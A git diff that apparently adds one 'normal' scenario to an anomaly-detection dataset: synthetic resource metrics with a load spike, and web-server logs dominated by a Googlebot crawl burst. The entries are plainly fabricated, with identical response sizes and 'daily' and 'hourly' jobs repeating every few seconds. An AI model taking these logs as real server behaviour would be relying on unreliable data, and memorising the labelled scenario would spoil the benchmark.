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/articles/how-to-setup-nginx HTTP/1.1" 200 21942 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" +10.0.0.97 - - [12/Aug/2025:10:06:45 +0000] "GET /styles.css HTTP/1.1" 404 351 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" +10.0.0.104 - - [12/Aug/2025:10:06:50 +0000] "GET /articles/top-10-destinations HTTP/1.1" 301 112 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" +192.168.1.39 - - [12/Aug/2025:10:06:55 +0000] "GET /articles/top-10-destinations HTTP/1.1" 200 19256 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" +192.168.1.74 - - [12/Aug/2025:10:06:55 +0000] "GET /login HTTP/1.1" 200 9354 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" +10.0.0.95 - - [12/Aug/2025:10:07:00 +0000] "GET /main.js HTTP/1.1" 404 172 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +10.0.0.95 - - [12/Aug/2025:10:07:05 +0000] "GET /products/456 HTTP/1.1" 200 15029 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +10.0.0.104 - - [12/Aug/2025:10:07:10 +0000] "GET /styles.css HTTP/1.1" 200 10058 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" +192.168.1.39 - - [12/Aug/2025:10:07:15 +0000] "GET /main.js HTTP/1.1" 200 29555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" +10.0.0.104 - - [12/Aug/2025:10:07:15 +0000] "GET /contact HTTP/1.1" 404 181 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" +10.0.0.97 - - [12/Aug/2025:10:07:20 +0000] "GET /about-us HTTP/1.1" 200 6794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +10.0.0.36 - - [12/Aug/2025:10:07:20 +0000] "GET /styles.css HTTP/1.1" 200 13168 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +10.0.0.97 - - [12/Aug/2025:10:07:25 +0000] "GET /login HTTP/1.1" 200 4310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +192.168.1.173 - - [12/Aug/2025:10:07:25 +0000] "GET /main.js HTTP/1.1" 200 17739 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1" diff --git a/norm_dataset/scenario_8/norm_8_7.csv b/norm_dataset/scenario_8/norm_8_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..7a73d17585c37592b6e8372cb29022bd5390d5d8 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,11.71,40.83,32.75,1.01,1.61 +2025-07-02T12:00:05Z,17.18,44.51,39.32,1.57,1.17 +2025-07-02T12:00:10Z,16.06,43.47,38.71,1.13,1.15 +2025-07-02T12:00:15Z,11.63,41.25,36.7,1.81,1.18 +2025-07-02T12:00:20Z,14.49,41.35,27.14,1.09,1.89 +2025-07-02T12:00:25Z,15.23,40.08,39.11,1.73,1.76 +2025-07-02T12:00:30Z,15.05,44.78,26.91,1.72,1.03 +2025-07-02T12:00:35Z,10.92,39.11,34.6,1.18,1.03 +2025-07-02T12:00:40Z,11.28,43.54,25.19,1.17,1.84 +2025-07-02T12:00:45Z,18.43,38.92,21.56,1.63,1.06 +2025-07-02T12:00:50Z,19.04,42.17,31.58,1.41,1.33 +2025-07-02T12:00:55Z,16.8,36.32,34.38,1.01,1.88 +2025-07-02T12:01:00Z,10.93,43.11,24.38,1.38,1.99 +2025-07-02T12:01:05Z,10.36,35.95,34.27,1.52,1.09 +2025-07-02T12:01:10Z,12.86,35.95,38.81,1.6,1.05 +2025-07-02T12:01:15Z,16.66,41.8,23.85,1.19,1.21 +2025-07-02T12:01:20Z,17.46,44.37,34.25,1.59,1.18 +2025-07-02T12:01:25Z,19.06,38.41,27.06,1.45,1.31 +2025-07-02T12:01:30Z,14.15,38.63,21.97,1.39,1.27 +2025-07-02T12:01:35Z,11.15,38.9,23.6,1.15,1.47 +2025-07-02T12:01:40Z,17.9,36.75,38.04,1.91,1.36 +2025-07-02T12:01:45Z,18.78,37.29,32.8,1.09,1.98 +2025-07-02T12:01:50Z,16.22,37.35,35.75,1.77,1.02 +2025-07-02T12:01:55Z,12.08,35.98,26.34,1.9,1.96 +2025-07-02T12:02:00Z,10.68,39.55,30.89,1.34,1.97 +2025-07-02T12:02:05Z,14.1,40.48,39.3,1.13,1.8 +2025-07-02T12:02:10Z,11.13,41.29,27.94,1.11,1.52 +2025-07-02T12:02:15Z,19.0,37.7,36.87,1.99,1.23 +2025-07-02T12:02:20Z,14.18,37.49,35.39,1.44,1.09 +2025-07-02T12:02:25Z,12.49,35.7,39.08,1.78,1.92 +2025-07-02T12:02:30Z,74.81,37.04,86.1,9.08,6.91 +2025-07-02T12:02:35Z,67.85,35.92,72.86,8.7,5.27 +2025-07-02T12:02:40Z,77.75,44.83,81.85,6.28,8.59 +2025-07-02T12:02:45Z,79.42,41.64,70.47,6.37,9.43 +2025-07-02T12:02:50Z,70.95,43.71,74.11,7.29,6.1 +2025-07-02T12:02:55Z,78.5,38.73,89.37,6.56,6.3 +2025-07-02T12:03:00Z,61.65,42.81,72.91,6.53,7.55 +2025-07-02T12:03:05Z,74.39,41.31,73.22,6.42,9.55 +2025-07-02T12:03:10Z,64.43,40.06,83.35,7.7,5.01 +2025-07-02T12:03:15Z,65.76,42.9,89.36,9.54,8.18 +2025-07-02T12:03:20Z,73.24,37.26,71.9,6.05,7.08 +2025-07-02T12:03:25Z,65.98,43.47,78.63,8.46,5.76 +2025-07-02T12:03:30Z,64.28,40.07,87.98,5.34,6.97 +2025-07-02T12:03:35Z,61.57,37.19,86.16,7.6,6.29 +2025-07-02T12:03:40Z,72.42,43.81,73.09,6.47,5.55 +2025-07-02T12:03:45Z,67.48,36.45,74.35,8.29,9.7 +2025-07-02T12:03:50Z,68.91,39.93,77.92,5.94,6.9 +2025-07-02T12:03:55Z,62.82,44.79,80.83,6.17,5.69 +2025-07-02T12:04:00Z,62.93,44.48,72.43,9.97,9.78 +2025-07-02T12:04:05Z,72.25,43.19,80.6,7.6,7.99 +2025-07-02T12:04:10Z,62.64,42.14,77.7,5.43,7.22 +2025-07-02T12:04:15Z,77.51,45.0,71.03,6.78,6.37 +2025-07-02T12:04:20Z,72.26,41.15,77.42,6.29,8.27 +2025-07-02T12:04:25Z,75.85,36.96,88.25,6.4,5.66 +2025-07-02T12:04:30Z,73.93,42.25,83.36,7.87,9.53 +2025-07-02T12:04:35Z,79.96,37.76,72.7,9.62,8.34 +2025-07-02T12:04:40Z,73.88,37.08,71.56,6.14,5.77 +2025-07-02T12:04:45Z,72.13,37.52,88.79,6.08,6.13 +2025-07-02T12:04:50Z,68.61,42.95,70.97,5.27,5.69 +2025-07-02T12:04:55Z,70.69,43.83,70.16,6.16,9.99 +2025-07-02T12:05:00Z,62.37,37.31,86.5,5.45,9.56 +2025-07-02T12:05:05Z,79.41,36.3,83.55,8.65,7.34 +2025-07-02T12:05:10Z,63.78,42.07,74.05,5.39,7.38 +2025-07-02T12:05:15Z,69.66,40.25,86.51,5.18,5.3 +2025-07-02T12:05:20Z,63.61,36.55,79.68,7.63,6.93 +2025-07-02T12:05:25Z,72.22,41.84,73.34,9.54,8.31 +2025-07-02T12:05:30Z,63.08,43.52,84.05,7.81,8.03 +2025-07-02T12:05:35Z,63.89,36.68,81.34,7.17,7.77 +2025-07-02T12:05:40Z,60.66,42.94,88.9,8.67,6.89 +2025-07-02T12:05:45Z,75.23,36.4,86.65,7.25,6.56 +2025-07-02T12:05:50Z,16.51,43.68,30.05,1.49,1.54 +2025-07-02T12:05:55Z,16.18,36.68,35.32,1.11,1.02 +2025-07-02T12:06:00Z,17.86,40.37,25.3,1.93,1.19 +2025-07-02T12:06:05Z,13.13,36.87,26.13,1.95,1.56 +2025-07-02T12:06:10Z,15.5,43.97,35.73,1.35,1.98 +2025-07-02T12:06:15Z,15.42,43.43,25.49,1.6,1.94 +2025-07-02T12:06:20Z,13.11,44.95,32.88,1.62,1.99 +2025-07-02T12:06:25Z,17.11,44.42,30.88,1.12,1.35 +2025-07-02T12:06:30Z,17.06,42.61,31.77,1.43,1.14 +2025-07-02T12:06:35Z,15.84,41.99,30.16,1.68,1.15 +2025-07-02T12:06:40Z,12.91,41.72,27.47,1.0,1.56 +2025-07-02T12:06:45Z,11.82,38.77,28.14,1.89,1.08 +2025-07-02T12:06:50Z,17.6,43.22,25.85,1.35,1.0 +2025-07-02T12:06:55Z,11.12,42.63,27.71,1.55,1.51 +2025-07-02T12:07:00Z,16.22,44.7,34.07,1.56,1.58 +2025-07-02T12:07:05Z,14.51,41.02,31.84,1.83,1.94 +2025-07-02T12:07:10Z,13.83,37.5,32.86,1.14,1.73 +2025-07-02T12:07:15Z,18.45,39.9,39.95,1.45,1.17 +2025-07-02T12:07:20Z,18.61,39.32,20.7,1.4,1.12 +2025-07-02T12:07:25Z,14.97,41.22,31.75,1.84,1.9 diff --git a/norm_dataset/scenario_8/norm_8_7.log b/norm_dataset/scenario_8/norm_8_7.log new file mode 100644 index 0000000000000000000000000000000000000000..7412d2fb2270113e164decc0ec98ce120fc63166 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_7.log @@ -0,0 +1,314 @@ +Jul 02 12:00:05 web-app[2345]: 37.144.204.130 - - [02/Jul/2025:12:00:05 ] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:00:10 web-app[2345]: 210.59.194.84 - - [02/Jul/2025:12:00:10 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:00:30 web-app[2345]: 222.249.248.89 - - [02/Jul/2025:12:00:30 ] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:00:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app[2345]: 20.239.23.19 - - [02/Jul/2025:12:00:35 ] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:00:40 web-app[2345]: 241.169.135.29 - - [02/Jul/2025:12:00:40 ] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:00:55 web-app[2345]: 160.201.181.161 - - [02/Jul/2025:12:00:55 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:01:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:05 web-app[2345]: 69.12.52.88 - - [02/Jul/2025:12:01:05 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:01:10 web-app[2345]: 175.93.217.93 - - [02/Jul/2025:12:01:10 ] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 web-app[2345]: 70.20.181.102 - - [02/Jul/2025:12:01:15 ] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:01:20 web-app[2345]: 19.70.33.2 - - [02/Jul/2025:12:01:20 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:01:30 web-app[2345]: 126.134.218.113 - - [02/Jul/2025:12:01:30 ] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:01:35 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:40 web-app[2345]: 41.164.152.214 - - [02/Jul/2025:12:01:40 ] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:01:45 web-app[2345]: 170.246.83.23 - - [02/Jul/2025:12:01:45 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:01:55 web-app[2345]: 77.11.193.69 - - [02/Jul/2025:12:01:55 ] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:02:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:05 web-app[2345]: 226.127.21.73 - - [02/Jul/2025:12:02:05 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:02:15 web-app[2345]: 151.42.8.120 - - [02/Jul/2025:12:02:15 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:02:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:20 web-app[2345]: 175.190.93.2 - - [02/Jul/2025:12:02:20 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:02:30 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:30 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:30 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:30 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:30 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:30 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:30 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:35 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:35 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:35 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:35 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:35 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:35 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:40 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:40 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:40 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:40 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:02:40 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:40 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:45 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:45 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:45 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:02:45 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:45 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[2345]: 66.249.66.1 - - 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HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:02:50 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:50 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:50 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:02:50 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:50 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:55 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:02:55 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 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66.249.75.130 - - [02/Jul/2025:12:03:00 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:05 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:05 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:05 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:05 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:05 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:05 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:05 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:05 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:05 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:10 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:10 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:10 ] "GET /contact HTTP/1.1" 200 1234 "-" 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66.249.66.1 - - [02/Jul/2025:12:03:30 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:35 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:35 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:35 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:35 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:35 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:35 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:35 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:40 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:40 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:40 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:40 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:40 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:40 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:40 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:03:40 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:40 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:40 ] "GET /products/1 HTTP/1.1" 200 1234 "-" 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12:03:50 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:50 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:50 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:50 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:50 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:50 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:50 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:03:50 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:50 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:03:50 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:55 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:55 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:55 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:03:55 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:55 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:55 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:03:55 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:00 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:00 ] "GET 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1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:00 